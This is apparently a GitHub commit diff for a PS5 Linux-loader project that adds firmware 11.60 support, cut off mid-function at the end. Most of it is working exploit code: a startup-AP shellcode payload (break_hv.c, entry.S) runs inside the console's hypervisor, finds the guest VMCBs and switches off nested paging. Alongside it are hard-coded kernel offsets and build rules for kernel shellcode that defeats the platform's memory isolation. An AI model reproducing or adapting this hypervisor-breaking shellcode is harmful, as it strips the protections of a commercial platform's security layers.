Skip to content

Linux payload implementing HV exploits to run a custom bootloader

C

Add firmware 11.60 support (regular PS5) (#57)

Gabe Zimbricc73492b2187e
diff --git a/.gitignore b/.gitignore
index 422fa80..f5794a8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,6 +2,8 @@ bin/
shellcode_0607/shellcode_0607.h
shellcode_kernel/shellcode_kernel.h
shellcode_kernel_13xx/shellcode_kernel_13xx.h
+shellcode_kernel_1160/shellcode_kernel_1160.h
+shellcode_break_hv/break_hv.h
shellcode_hv/shellcode_hv.h
*.elf
*.bin
diff --git a/Makefile b/Makefile
index 9b45ee0..0589547 100644
--- a/Makefile
+++ b/Makefile
@@ -17,8 +17,11 @@ SC_0607_H := shellcode_0607/shellcode_0607.h
SC_HV_H := shellcode_hv/shellcode_hv.h
SC_K_H := shellcode_kernel/shellcode_kernel.h
SC_K_13XX_H := shellcode_kernel_13xx/shellcode_kernel_13xx.h
+SC_K_1160_H := shellcode_kernel_1160/shellcode_kernel_1160.h
+SC_BREAK_HV_H := shellcode_break_hv/break_hv.h
-all: $(SC_0607_H) $(SC_HV_H) $(SC_K_H) $(SC_K_13XX_H) $(BIN)
+all: $(SC_0607_H) $(SC_HV_H) $(SC_K_H) $(SC_K_13XX_H) $(SC_K_1160_H) \
+ $(SC_BREAK_HV_H) $(BIN)
$(SC_0607_H):
$(MAKE) -C shellcode_0607
@@ -37,10 +40,26 @@ $(SC_K_13XX_H): $(SC_HV_H) shellcode_kernel/main.c \
shellcode_kernel_13xx/Makefile
$(MAKE) -C shellcode_kernel_13xx
+$(SC_K_1160_H): $(SC_HV_H) shellcode_kernel/main.c \
+ shellcode_kernel/boot_linux.c shellcode_kernel/utils.c \
+ shellcode_kernel/main.h shellcode_kernel/boot_linux.h \
+ shellcode_kernel/utils.h shellcode_kernel/shellcode_kernel_args.h \
+ shellcode_kernel/linker.ld include/config.h include/linux.h \
+ shellcode_kernel_1160/Makefile shellcode_kernel_1160/display_ops_1160.c \
+ shellcode_kernel_1160/display_ops_1160.h \
+ shellcode_kernel_1160/shellcode_kernel_args_validate.h
+ $(MAKE) -C shellcode_kernel_1160
+
+$(SC_BREAK_HV_H): shellcode_break_hv/break_hv.c \
+ shellcode_break_hv/break_hv_params.h shellcode_break_hv/entry.S \
+ shellcode_break_hv/link.ld shellcode_break_hv/Makefile
+ $(MAKE) -C shellcode_break_hv
+
$(OBJS): %.o: %.c
$(CC) $(CFLAGS) -c -o $@ $<
-source/prepare_resume.o: $(SC_K_13XX_H)
+source/prepare_resume.o: $(SC_K_13XX_H) $(SC_K_1160_H)
+source/hv_defeat_1160.o: $(SC_BREAK_HV_H)
$(BIN): $(OBJS)
@mkdir -p $(dir $@)
@@ -52,3 +71,5 @@ clean:
$(MAKE) -C shellcode_hv clean
$(MAKE) -C shellcode_kernel clean
$(MAKE) -C shellcode_kernel_13xx clean
+ $(MAKE) -C shellcode_kernel_1160 clean
+ $(MAKE) -C shellcode_break_hv clean
diff --git a/README.md b/README.md
index c8209bb..177a06d 100644
--- a/README.md
+++ b/README.md
@@ -24,6 +24,7 @@ Features:
- **5.00**, **5.02**, **5.10**, **5.50** with M.2 support
- **6.00**, **6.02**, **6.50** with M.2 support
- **7.00**, **7.01**, **7.20**, **7.40**, **7.60**, **7.61** with M.2 support
+- **11.60** (regular PS5 only, M.2 not tested yet; the kernel needs KASLR, so do not pass `nokaslr`, `mem=` or `memmap=`)
- **13.00**, **13.20**, **13.60** with M.2 support
**PS5 Pro:**
@@ -331,3 +332,4 @@ Join our [Discord server](https://discord.gg/PeMGVB7BAm) to celebrate Linux on P
- [kirathenotebook](https://github.com/kirathenotebook): Betatesting and readme contribution
- 15432: Tests on BC-250
- [DeathlySin](https://github.com/DeathlySin): PS5 Pro support (E820 memory map, I/O fix)
+- [gzimbric](https://github.com/gzimbric): 11.60 support, building on the 13.xx work of Ouroboros, DeathlySin and Sonic, with a startup-AP payload based on SpecterDev's Byepervisor
diff --git a/include/hv_defeat_1160.h b/include/hv_defeat_1160.h
new file mode 100644
index 0000000..19c58d0
--- /dev/null
+++ b/include/hv_defeat_1160.h
@@ -0,0 +1,8 @@
+#ifndef HV_DEFEAT_1160_H
+#define HV_DEFEAT_1160_H
+
+#include <stddef.h>
+
+int hv_defeat_1160(void *shellcode_kernel, size_t shellcode_kernel_len);
+
+#endif
diff --git a/include/loader_staging_1160.h b/include/loader_staging_1160.h
new file mode 100644
index 0000000..4f96bb5
--- /dev/null
+++ b/include/loader_staging_1160.h
@@ -0,0 +1,35 @@
+#ifndef LOADER_STAGING_1160_H
+#define LOADER_STAGING_1160_H
+
+#include "linux.h"
+#include <stddef.h>
+#include <stdint.h>
+
+/*
+ * Publish the already-populated Linux input mappings in the PID-1 pmap with a
+ * checked, journaled transaction.
+ *
+ * On success this takes ownership of both mappings and keeps their live
+ * mappings, the linux_info backing page, and every new page table alive for
+ * the rest/wake handoff. On an ordinary failure it restores every journaled
+ * page-table write and leaves ownership with the caller. A rollback that fails
+ * to verify is contained by holding until a cold reboot.
+ */
+int stage_linux_aliases_1160(const struct linux_info *info, void *bzimage,
+ size_t bzimage_mapping_size, void *initrd,
+ size_t initrd_mapping_size);
+
+/* stage_linux_aliases_1160 returns this instead of -1 when it refused a page
+ * table or the code cave inside the copy range. Those stay where they are
+ * until a reboot, so running the loader again in the same boot cannot help. */
+#define STAGING_REBOOT_FIRST_1160 (-2)
+
+/* The #SX stack page that staging took and checked before writing anything,
+ * or 0 if it did not. */
+uint64_t sx_stack_page_1160(void);
+
+/* Nonzero when the 16-KiB page at pa overlaps the page under the #SX stack
+ * page, which the wake blob's stack reaches past 0x1040 bytes. */
+int pa_under_sx_stack_1160(uint64_t pa);
+
+#endif
diff --git a/include/offsets.h b/include/offsets.h
index 8583d1f..6d785a3 100644
--- a/include/offsets.h
+++ b/include/offsets.h
@@ -99,6 +99,7 @@ extern offset_list off_0720;
extern offset_list off_0740;
extern offset_list off_0760;
extern offset_list off_0761;
+extern offset_list off_1160;
extern offset_list off_1300;
extern offset_list off_1320;
extern offset_list off_1360;
diff --git a/shellcode_break_hv/Makefile b/shellcode_break_hv/Makefile
new file mode 100644
index 0000000..c897821
--- /dev/null
+++ b/shellcode_break_hv/Makefile
@@ -0,0 +1,47 @@
+ifeq ($(shell uname -m),aarch64)
+CC = x86_64-linux-gnu-gcc
+LD = x86_64-linux-gnu-ld
+OBJCOPY = x86_64-linux-gnu-objcopy
+READELF = x86_64-linux-gnu-readelf
+else
+CC = gcc
+LD = ld
+OBJCOPY = objcopy
+READELF = readelf
+endif
+CFLAGS = -O2 -ffreestanding -nostdlib -fno-pic -fno-plt \
+ -fno-stack-protector -fno-stack-clash-protection -fomit-frame-pointer \
+ -fno-asynchronous-unwind-tables -fcf-protection=none -fno-jump-tables \
+ -mgeneral-regs-only -mno-red-zone -Wall -Wextra
+TARGET = break_hv.elf
+TEXT_BIN = break_hv.bin
+dump = break_hv.h
+
+OBJ = entry.o break_hv.o
+
+all: $(dump)
+
+entry.o: entry.S
+ $(CC) -c $< -o $@
+
+break_hv.o: break_hv.c break_hv_params.h
+ $(CC) $(CFLAGS) -c $< -o $@
+
+# The payload is linked at 0 but copied to and run from another address, so
+# only PC-relative relocations are allowed.
+$(TARGET): $(OBJ) link.ld
+ $(READELF) -rW $(OBJ) >/dev/null
+ ! $(READELF) -rW $(OBJ) | grep R_X86_64_ | grep -v -E 'R_X86_64_(PC32|PLT32) '
+ $(LD) -nostdlib -no-pie -T link.ld $(OBJ) -o $(TARGET)
+
+$(TEXT_BIN): $(TARGET)
+ $(OBJCOPY) -O binary $(TARGET) $(TEXT_BIN)
+
+clean:
+ rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
+
+$(dump): $(TEXT_BIN)
+ xxd -i $(TEXT_BIN) > $(dump)
+
+.PHONY: all clean
+.DELETE_ON_ERROR:
diff --git a/shellcode_break_hv/break_hv.c b/shellcode_break_hv/break_hv.c
new file mode 100644
index 0000000..68e8736
--- /dev/null
+++ b/shellcode_break_hv/break_hv.c
@@ -0,0 +1,176 @@
+/*
+ * Startup-AP payload for 11.60, based on the Byepervisor AP payload. The
+ * hooked startup_mp call runs it inside the HV, where it turns off nested
+ * paging for the GameOS VMCBs and then jumps on to the real init callback.
+ */
+#include "break_hv_params.h"
+#include <stdint.h>
+
+#define VMCB_IOPM_BASE_PA 0x40
+#define VMCB_MSRPM_BASE_PA 0x48
+#define VMCB_ASID 0x58
+#define VMCB_NESTED_CTRL 0x90
+#define VMCB_NESTED_CR3 0xB0
+#define VMCB_CLEAN 0xC0
+#define VMCB_GUEST_CR3 0x550
+#define VMCB_GUEST_RIP 0x578
+
+#define MARK_ENTERED 0x454E544552454431ULL /* "ENTERED1" */
+#define MARK_DONE 0x444F4E452D415031ULL /* "DONE-AP1" */
+#define MODE_STRIKE 0x31454B4952545356ULL /* "VSTRIKE1" */
+
+#define read64(p) (*(volatile uint64_t *)(uintptr_t)(p))
+#define read32(p) (*(volatile uint32_t *)(uintptr_t)(p))
+#define write64(p, v) (*(volatile uint64_t *)(uintptr_t)(p) = (uint64_t)(v))
+#define write32(p, v) (*(volatile uint32_t *)(uintptr_t)(p) = (uint32_t)(v))
+
+static __attribute__((noinline)) void vmcb_write64(uint64_t p, uint64_t v) {
+ write64(p, v);
+}
+
+static __attribute__((noinline)) void vmcb_write32(uint64_t p, uint32_t v) {
+ write32(p, v);
+}
+
+/* On 11.60 the HV heap and pcpus globals the legacy path reads are still zero
+ * while the startup AP runs. Find this AP's VMCB by its guest CR3 and RIP, use
+ * its ASID as the GameOS ASID, and write nothing unless the scan finds exactly
+ * one such VMCB and sixteen valid GameOS VMCBs. */
+static void vmcb_disable_np_1160(uint64_t *param) {
+ const uint64_t heap_lo = 0x62A00000ULL;
+ const uint64_t heap_hi = 0x63800000ULL;
+ const uint64_t dmap = param[1];
+ const uint64_t needle_rip = param[5];
+ const uint64_t needle_cr3 = param[6];
+ volatile uint64_t *result = (volatile uint64_t *)(uintptr_t)param[2];
+ volatile uint64_t *ext = (volatile uint64_t *)(uintptr_t)param[4];
+ uint64_t self_pa = 0, self_count = 0;
+ uint64_t self_nctl = 0, self_ncr3 = 0, self_iopm = 0, self_msrpm = 0;
+ uint64_t self_asid = 0;
+ uint64_t targets = 0, self_selected = 0, written = 0, verified = 0;
+ uint64_t error = 0;
+
+ result[0] = MARK_ENTERED;
+ result[1] = MODE_STRIKE;
+
+ for (uint64_t pa = heap_lo; pa < heap_hi; pa += 0x1000) {
+ uint64_t p = dmap + pa;
+ if (read64(p + VMCB_GUEST_CR3) == needle_cr3 &&
+ read64(p + VMCB_GUEST_RIP) == needle_rip) {
+ if (self_count++ == 0) {
+ self_pa = pa;
+ self_nctl = read64(p + VMCB_NESTED_CTRL);
+ self_ncr3 = read64(p + VMCB_NESTED_CR3);
+ self_asid = read32(p + VMCB_ASID);
+ self_iopm = read64(p + VMCB_IOPM_BASE_PA);
+ self_msrpm = read64(p + VMCB_MSRPM_BASE_PA);
+ }
+ }
+ }
+
+ if (self_count != 1) {
+ error = 1;
+ } else if (self_nctl != 9 || self_asid == 0 || self_asid >= 16 ||
+ (self_ncr3 & 0xfff) != 0 || self_ncr3 < heap_lo ||
+ self_ncr3 >= heap_hi || (self_iopm & 0xfff) != 0 ||
+ self_iopm < heap_lo || self_iopm >= heap_hi) {
+ error = 2;
+ }
+
+ if (error == 0) {
+ for (uint64_t pa = heap_lo; pa < heap_hi; pa += 0x1000) {
+ uint64_t p = dmap + pa;
+ uint64_t ncr3 = read64(p + VMCB_NESTED_CR3);
+ uint64_t iopm = read64(p + VMCB_IOPM_BASE_PA);
+ if (read64(p + VMCB_NESTED_CTRL) == 9 &&
+ read32(p + VMCB_ASID) == self_asid && (ncr3 & 0xfff) == 0 &&
+ ncr3 >= heap_lo && ncr3 < heap_hi && (iopm & 0xfff) == 0 &&
+ iopm >= heap_lo && iopm < heap_hi) {
+ targets++;
+ if (pa == self_pa)
+ self_selected = 1;
+ }
+ }
+ if (targets != 16)
+ error = 3;
+ else if (!self_selected)
+ error = 4;
+ }
+
+ /* No hypervisor write is reachable until all cardinality and identity
+ * checks above pass. */
+ if (error == 0) {
+ for (uint64_t pa = heap_lo; pa < heap_hi; pa += 0x1000) {
+ uint64_t p = dmap + pa;
+ uint64_t nctl = read64(p + VMCB_NESTED_CTRL);
+ uint64_t ncr3 = read64(p + VMCB_NESTED_CR3);
+ uint64_t iopm = read64(p + VMCB_IOPM_BASE_PA);
+ if (nctl == 9 && read32(p + VMCB_ASID) == self_asid &&
+ (ncr3 & 0xfff) == 0 && ncr3 >= heap_lo && ncr3 < heap_hi &&
+ (iopm & 0xfff) == 0 && iopm >= heap_lo && iopm < heap_hi) {
+ vmcb_write64(p + VMCB_NESTED_CTRL, nctl & ~1ULL);
+ vmcb_write32(p + VMCB_CLEAN, 0);
+ written++;
+ }
+ }
+ for (uint64_t pa = heap_lo; pa < heap_hi; pa += 0x1000) {
+ uint64_t p = dmap + pa;
+ uint64_t ncr3 = read64(p + VMCB_NESTED_CR3);
+ uint64_t iopm = read64(p + VMCB_IOPM_BASE_PA);
+ if (read64(p + VMCB_NESTED_CTRL) == 8 &&
+ read32(p + VMCB_ASID) == self_asid && (ncr3 & 0xfff) == 0 &&
+ ncr3 >= heap_lo && ncr3 < heap_hi && (iopm & 0xfff) == 0 &&
+ iopm >= heap_lo && iopm < heap_hi && read32(p + VMCB_CLEAN) == 0)
+ verified++;
+ }
+ if (written != 16 || verified != 16)
+ error = 5;
+ }
+
+ ext[0] = error;
+ ext[1] = self_pa;
+ ext[2] = self_count;
+ ext[3] = targets;
+ ext[4] = self_ncr3;
+ ext[5] = self_asid;
+ ext[6] = self_iopm;
+ ext[7] = self_msrpm;
+ ext[8] = written;
+ ext[9] = verified;
+ result[2] = self_pa;
+ result[5] = error;
+ result[6] = written;
+ result[7] = verified;
+ result[3] = MARK_DONE;
+}
+
+static void vmcb_disable_np_legacy(uint64_t *param) {
+ uint64_t dmap = param[1];
+ uint64_t hv_heap_off = param[4];
+ uint64_t pcpus = param[5];
+ uint64_t heap;
+
+ write64(param[2], 0xcafedead00001337ULL);
+ heap = read64(dmap + hv_heap_off);
+
+ for (int core = 0; core < 16; core++) {
+ uint64_t pcpu = read64(dmap + pcpus + (uint64_t)core * sizeof(uint64_t));
+ uint64_t vmcb, vpa, old;
+ if (!pcpu)
+ continue;
+ vmcb = read64(dmap + (pcpu - heap) + 0xa8);
+ if (!vmcb)
+ continue;
+ vpa = vmcb - heap;
+ old = read64(dmap + vpa + VMCB_NESTED_CTRL);
+ write64(dmap + vpa + VMCB_NESTED_CTRL, old & ~1ULL);
+ write32(dmap + vpa + VMCB_CLEAN, 0);
+ }
+}
+
+void vmcb_disable_np(uint64_t *param) {
+ if (param[7] == AP_MODE_1160)
+ vmcb_disable_np_1160(param);
+ else
+ vmcb_disable_np_legacy(param);
+}
diff --git a/shellcode_break_hv/break_hv_params.h b/shellcode_break_hv/break_hv_params.h
new file mode 100644
index 0000000..5a52f5b
--- /dev/null
+++ b/shellcode_break_hv/break_hv_params.h
@@ -0,0 +1,8 @@
+// This file is shared between main payload and the startup-AP payload
+#ifndef BREAK_HV_PARAMS_H
+#define BREAK_HV_PARAMS_H
+
+// hv_defeat_1160 stores this in param[7] to select the 11.60 path.
+#define AP_MODE_1160 0x313631312D504142ULL
+
+#endif
diff --git a/shellcode_break_hv/entry.S b/shellcode_break_hv/entry.S
new file mode 100644
index 0000000..6f15253
--- /dev/null
+++ b/shellcode_break_hv/entry.S
@@ -0,0 +1,26 @@
+.intel_syntax noprefix
+.text
+.global shellcode
+.type shellcode, @function
+
+// page+0x000 - code, at most 0x800 bytes (AP_COPY_SIZE)
+// page+0xf00 - params, the stack grows down from here
+
+shellcode:
+ lea rsp, [rip + 0xef9] // rsp = params (0 + 7 + 0xef9 = 0xf00)
+ push rbx // save HV rbx
+ push rsi // save HV rsi
+ push rdi // save core idx
+ sub rsp, 8 // realign to 16-byte boundary
+ lea rbx, [rsp + 0x20]
+ mov rdi, rbx // arg0 = params
+ call vmcb_disable_np
+ mov rcx, qword ptr [rbx] // init_cb = param[0]
+ add rsp, 8
+ pop rdi // restore core index
+ pop rsi
+ pop rbx
+ jmp rcx // jump to init_cb
+.size shellcode, .-shellcode
+
+.section .note.GNU-stack,"",@progbits
diff --git a/shellcode_break_hv/link.ld b/shellcode_break_hv/link.ld
new file mode 100644
index 0000000..7beb980
--- /dev/null
+++ b/shellcode_break_hv/link.ld
@@ -0,0 +1,18 @@
+ENTRY(shellcode)
+SECTIONS
+{
+ . = 0;
+ .text : {
+ entry.o(.text .text.*) /* shellcode MUST be first */
+ *(.text .text.*)
+ }
+ .rodata : { *(.rodata .rodata.*) }
+ .data : { *(.data .data.*) }
+ ASSERT(. <= 0x800, "break_hv does not fit in AP_COPY_SIZE (0x800)")
+ /DISCARD/ : {
+ *(.eh_frame .eh_frame_hdr)
+ *(.note .note.*)
+ *(.comment)
+ *(.bss .bss.*)
+ }
+}
diff --git a/shellcode_kernel/boot_linux.c b/shellcode_kernel/boot_linux.c
index 8573a1e..2355d34 100644
--- a/shellcode_kernel/boot_linux.c
+++ b/shellcode_kernel/boot_linux.c
@@ -60,7 +60,7 @@ struct dig_transmitter_control_parameters_v1_6 {
static struct linux_info info;
-#if defined(FW_13XX_PORT)
+#if defined(FW_13XX_PORT) || defined(FW_1160)
static int *mp3_req, *mp3_rsp;
#else
static int mp3_req[1281], mp3_rsp[1282];
@@ -70,7 +70,7 @@ static inline void stac(void) { __asm__ volatile("stac" : : : "cc"); }
static inline void clac(void) { __asm__ volatile("clac" : : : "cc"); }
-#if defined(FW_13XX_PORT)
+#if defined(FW_13XX_PORT) || defined(FW_1160)
static uint64_t read_tsc(void) {
uint32_t lo, hi;
__asm__ volatile("rdtsc" : "=a"(lo), "=d"(hi));
@@ -200,7 +200,7 @@ void patch_hv(void) {
}
void boot_linux(void) {
-#if defined(FW_13XX_PORT)
+#if defined(FW_13XX_PORT) || defined(FW_1160)
mp3_rsp = (int *)(args.linux_info_va + 0x1000);
mp3_req = (int *)(args.linux_info_va + 0x2420);
#endif
@@ -215,7 +215,7 @@ void boot_linux(void) {
// Enable DP phys link.
dp_enable_link_phy(4, 30);
-#if defined(FW_13XX_PORT)
+#if defined(FW_13XX_PORT) || defined(FW_1160)
uint64_t start = read_tsc();
while (read_tsc() - start < 0x14DC937FULL)
__asm__ volatile("pause");
@@ -229,7 +229,12 @@ void boot_linux(void) {
// Copy bzImage and initrd into contiguous memory.
memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));
-#if !defined(FW_13XX_PORT)
+#if defined(FW_1160)
+ // The HV in the 13.60 stock wake blob reserves this range too.
+ info.tmrs[0].start = 0x980000000ULL;
+ info.tmrs[0].end = 0xa00000000ULL;
+ info.n_tmrs = 1;
+#elif !defined(FW_13XX_PORT)
info.n_tmrs = 0;
if (args.fw_version >= 0x0500 && args.fw_version < 0x0800) {
SceSblHvShm *shm = (SceSblHvShm *)PHYS_TO_DMAP(get_hv_shm());
diff --git a/shellcode_kernel/main.c b/shellcode_kernel/main.c
index 5241a21..3d6ed68 100644
--- a/shellcode_kernel/main.c
+++ b/shellcode_kernel/main.c
@@ -1,8 +1,12 @@
#include "main.h"
#include "boot_linux.h"
-#if !defined(FW_13XX_PORT)
+#if !defined(FW_13XX_PORT) && !defined(FW_1160)
#include "hv_defeat_0304.h"
#endif
+#if defined(FW_1160)
+#include "display_ops_1160.h"
+#include "shellcode_kernel_args_validate.h"
+#endif
#include "utils.h"
#include <stddef.h>
@@ -28,6 +32,10 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
if (args_ptr->fw_version < 0x1300 || args_ptr->fw_version >= 0x1400)
return -1;
activate_uart(args_ptr);
+#elif defined(FW_1160)
+ if (validate_shellcode_kernel_args_1160(args_ptr))
+ return -1;
+ activate_uart(args_ptr);
#else
activate_uart(args_ptr);
if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) {
@@ -50,6 +58,9 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
*(uint8_t *)args_ptr->kernel_cfi_check = 0xC3;
boot_linux();
+#if defined(FW_1160)
+ run_ps5_display_ops_1160();
+#endif
printf("Linux prepared OK\n");
printf("Good Bye VM :)\n");
diff --git a/shellcode_kernel/utils.c b/shellcode_kernel/utils.c
index e3bd0f4..6f052e3 100644
--- a/shellcode_kernel/utils.c
+++ b/shellcode_kernel/utils.c
@@ -89,8 +89,11 @@ int puts_uart(uint64_t dmap, const uint8_t *msg) {
void activate_uart(volatile shellcode_kernel_args *args_ptr) {
uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL);
*uart_va &= ~0x200;
+#if !defined(FW_1160)
+ // 11.60 has no UART override offset.
uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override;
*override_char_va = 0x0;
+#endif
}
void halt(void) { __asm__ __volatile__("hlt"); }
diff --git a/shellcode_kernel_1160/Makefile b/shellcode_kernel_1160/Makefile
new file mode 100644
index 0000000..1643291
--- /dev/null
+++ b/shellcode_kernel_1160/Makefile
@@ -0,0 +1,62 @@
+ifeq ($(shell uname -m),aarch64)
+CC = x86_64-linux-gnu-gcc
+LD = x86_64-linux-gnu-ld
+OBJCOPY = x86_64-linux-gnu-objcopy
+READELF = x86_64-linux-gnu-readelf
+else
+CC = gcc
+LD = ld
+OBJCOPY = objcopy
+READELF = readelf
+endif
+CFLAGS = -Os -fomit-frame-pointer -fno-stack-protector -ffreestanding \
+ -nostdlib -fPIE -fno-plt -fcf-protection=none -mno-sse -mno-sse2 -m64 \
+ -ffunction-sections -fdata-sections -DFW_1160=1 -I. -I../shellcode_kernel
+LDFLAGS = -pie -T ../shellcode_kernel/linker.ld \
+ -Wl,--gc-sections,--defsym,SHELLCODE_LIMIT=0x5000
+TARGET = shellcode_kernel_1160.elf
+TEXT_BIN = shellcode_kernel_1160.bin
+dump = shellcode_kernel_1160.h
+
+SRC = main.c boot_linux.c utils.c
+OBJ = $(SRC:.c=.o) display_ops_1160.o
+HEADERS = ../shellcode_kernel/main.h ../shellcode_kernel/boot_linux.h \
+ ../shellcode_kernel/utils.h ../shellcode_kernel/shellcode_kernel_args.h \
+ ../include/config.h ../include/linux.h ../shellcode_hv/shellcode_hv.h \
+ display_ops_1160.h shellcode_kernel_args_validate.h
+
+all: $(dump)
+
+# The blob is linked at 0x1000 but runs from the kernel code cave, so it has
+# to be position independent with no relocations left for objcopy to drop.
+# It copies the HV into the 0x2000 bytes in front of linux_info.
+$(TARGET): $(OBJ) ../shellcode_kernel/linker.ld
+ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
+ $(READELF) -h $(TARGET) | grep -q 'Type:[[:space:]]*DYN'
+ $(READELF) -r $(TARGET) | grep -q 'There are no relocations in this file'
+ test "$$(wc -c < ../shellcode_hv/shellcode_hv.bin)" -le 8192
+
+$(SRC:.c=.o): %.o: ../shellcode_kernel/%.c $(HEADERS)
+ $(CC) $(CFLAGS) -c $< -o $@
+
+display_ops_1160.o: display_ops_1160.c $(HEADERS)
+ $(CC) $(CFLAGS) -c $< -o $@
+
+# update_sck_args_ptr only looks for the args marker at offsets below 0x40, so
+# it has to be in the first 71 bytes, and be the only one in the blob.
+MARKER = aa 11 aa 11 aa 11 aa 11
+count_marker = xxd -p -c1 | tr '\n' ' ' | grep -o '$(MARKER)' | grep -c ''
+
+$(TEXT_BIN): $(TARGET)
+ $(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
+ test "$$(cat $(TEXT_BIN) | $(count_marker))" -eq 1
+ test "$$(head -c 71 $(TEXT_BIN) | $(count_marker))" -eq 1
+
+clean:
+ rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
+
+$(dump): $(TEXT_BIN)
+ xxd -i $(TEXT_BIN) > $(dump)
+
+.PHONY: all clean
+.DELETE_ON_ERROR:
diff --git a/shellcode_kernel_1160/display_ops_1160.c b/shellcode_kernel_1160/display_ops_1160.c
new file mode 100644
index 0000000..7c7d893
--- /dev/null
+++ b/shellcode_kernel_1160/display_ops_1160.c
@@ -0,0 +1,70 @@
+#include "display_ops_1160.h"
+#include "shellcode_kernel_args.h"
+#include "utils.h"
+#include <stddef.h>
+
+/*
+ * The 13.60 wake blob runs a table of kernel display calls after the
+ * VBIOS/DP/MP3 handoff and before the final SMP rendezvous. These are the
+ * matching 11.60 functions, in the same order and with the same 0x18-byte
+ * records. Every call takes arg1_edi, mode 2 calls also take arg2_rsi.
+ */
+_Static_assert(sizeof(ps5_display_op_1160) == 0x18,
+ "display-op record layout changed");
+
+const ps5_display_op_1160 ps5_display_ops_1160[29] = {
+ {0x00362730, 0, 0, 0},
+ {0x00362980, 0, 0, 0},
+ {0x00362AD0, 0, 0, 0},
+ {0x00362C90, 0, 0, 0},
+ {0x00C16F70, 0, 0, 0},
+ {0x00333410, 0, 0, 0},
+ {0x00751F20, 0, 0, 0},
+ {0x00B01800, 0, 0, 0},
+ {0x005381C0, 0, 0, 0},
+ {0x005383B0, 0, 0, 0},
+ {0x00362AA0, 0, 0, 0},
+ {0x00B88B80, 0, 0, 0},
+ {0x00B896F0, 0, 0, 0},
+ {0x00B89900, 0, 0, 0},
+ {0x00B89A40, 0, 0, 0},
+ {0x00334460, 0, 0, 0},
+ {0x00334460, 1, 0, 0},
+ {0x00334460, 2, 0, 0},
+ {0x00334460, 3, 0, 0},
+ {0x00362CC0, 0, 0, 0},
+ {0x00538580, 0, 0, 0},
+ {0x00538700, 0, 0, 0},
+ {0x00B88C70, 0, 0, 0},
+ {0x007585F0, 0, 0, 0},
+ {0x009DC910, 1, 2, 0x7F0},
+ {0x0053D9F0, 0, 0, 0},
+ {0x00539460, 1, 0, 0},
+ {0x00538ED0, 0, 0, 0},
+ {0x00538D70, 0, 0, 0},
+};
+
+typedef uint64_t (*display_op1_fn)(uint32_t);
+typedef uint64_t (*display_op2_fn)(uint32_t, uint64_t);
+
+// Kept out of line so each kernel call is a tail jump, as in the 13.60 blob.
+__attribute__((noinline)) static uint64_t
+dispatch_ps5_display_op_1160(uint32_t index) {
+ if (index >= 29)
+ return 0;
+
+ const ps5_display_op_1160 *op = &ps5_display_ops_1160[index];
+ const uintptr_t target = args.ktext + op->ktext_offset;
+
+ if (op->mode == 2)
+ return ((display_op2_fn)target)(op->arg1_edi, op->arg2_rsi);
+ return ((display_op1_fn)target)(op->arg1_edi);
+}
+
+void run_ps5_display_ops_1160(void) {
+ for (uint32_t index = 0; index < 29; index++) {
+ printf("11.60 display op %u starting\n", index + 1);
+ dispatch_ps5_display_op_1160(index);
+ printf("11.60 display op %u returned\n", index + 1);
+ }
+}
diff --git a/shellcode_kernel_1160/display_ops_1160.h b/shellcode_kernel_1160/display_ops_1160.h
new file mode 100644
index 0000000..024ae34
--- /dev/null
+++ b/shellcode_kernel_1160/display_ops_1160.h
@@ -0,0 +1,17 @@
+#ifndef DISPLAY_OPS_1160_H
+#define DISPLAY_OPS_1160_H
+
+#include <stdint.h>
+
+typedef struct {
+ uint64_t ktext_offset;
+ uint32_t arg1_edi;
+ uint32_t mode;
+ uint64_t arg2_rsi;
+} ps5_display_op_1160;
+
+extern const ps5_display_op_1160 ps5_display_ops_1160[29];
+
+void run_ps5_display_ops_1160(void);
+
+#endif
diff --git a/shellcode_kernel_1160/shellcode_kernel_args_validate.h b/shellcode_kernel_1160/shellcode_kernel_args_validate.h
new file mode 100644
index 0000000..c8f1b5a
--- /dev/null
+++ b/shellcode_kernel_1160/shellcode_kernel_args_validate.h
@@ -0,0 +1,52 @@
+// This file is shared between main payload and 11.60 kernel shellcode
+#ifndef SHELLCODE_KERNEL_ARGS_VALIDATE_H
+#define SHELLCODE_KERNEL_ARGS_VALIDATE_H
+
+#include "shellcode_kernel_args.h"
+#include <stddef.h>
+
+static inline int shellcode_kernel_va_is_canonical(uint64_t va) {
+ return va >= UINT64_C(0xffff800000000000);
+}
+
+/*
+ * Checked by the loader before it publishes the arguments and again by the
+ * wake blob before it uses them. UART is optional. The VBIOS, transmitter and
+ * MP3 entries are required, since without them there is no display.
+ */
+static inline int validate_shellcode_kernel_args_1160(
+ volatile const shellcode_kernel_args *candidate) {
+ if (candidate == NULL || candidate->fw_version != 0x1160)
+ return -1;
+
+ if (!shellcode_kernel_va_is_canonical(candidate->ktext) ||
+ !shellcode_kernel_va_is_canonical(candidate->kdata) ||
+ !shellcode_kernel_va_is_canonical(candidate->dmap_base) ||
+ candidate->kdata <= candidate->ktext)
+ return -1;
+
+ if ((candidate->ktext & 0x3fffU) != 0 || (candidate->kdata & 0x3fffU) != 0 ||
+ (candidate->dmap_base & 0x3fffU) != 0 ||
+ (candidate->linux_info_va & 0x3fffU) != 0)
+ return -1;
+
+ if (!shellcode_kernel_va_is_canonical(candidate->fun_printf) ||
+ !shellcode_kernel_va_is_canonical(candidate->fun_smp_rendezvous) ||
+ !shellcode_kernel_va_is_canonical(
+ candidate->fun_smp_no_rendevous_barrier) ||
+ !shellcode_kernel_va_is_canonical(candidate->kernel_cfi_check) ||
+ !shellcode_kernel_va_is_canonical(candidate->g_vbios) ||
+ !shellcode_kernel_va_is_canonical(candidate->fun_transmitter_control) ||
+ !shellcode_kernel_va_is_canonical(candidate->fun_mp3_initialize) ||
+ !shellcode_kernel_va_is_canonical(candidate->fun_mp3_invoke) ||
+ !shellcode_kernel_va_is_canonical(candidate->linux_info_va))
+ return -1;
+
+ if (candidate->hv_handle_vmexit_pa == 0 || candidate->hv_code_cave_pa == 0 ||
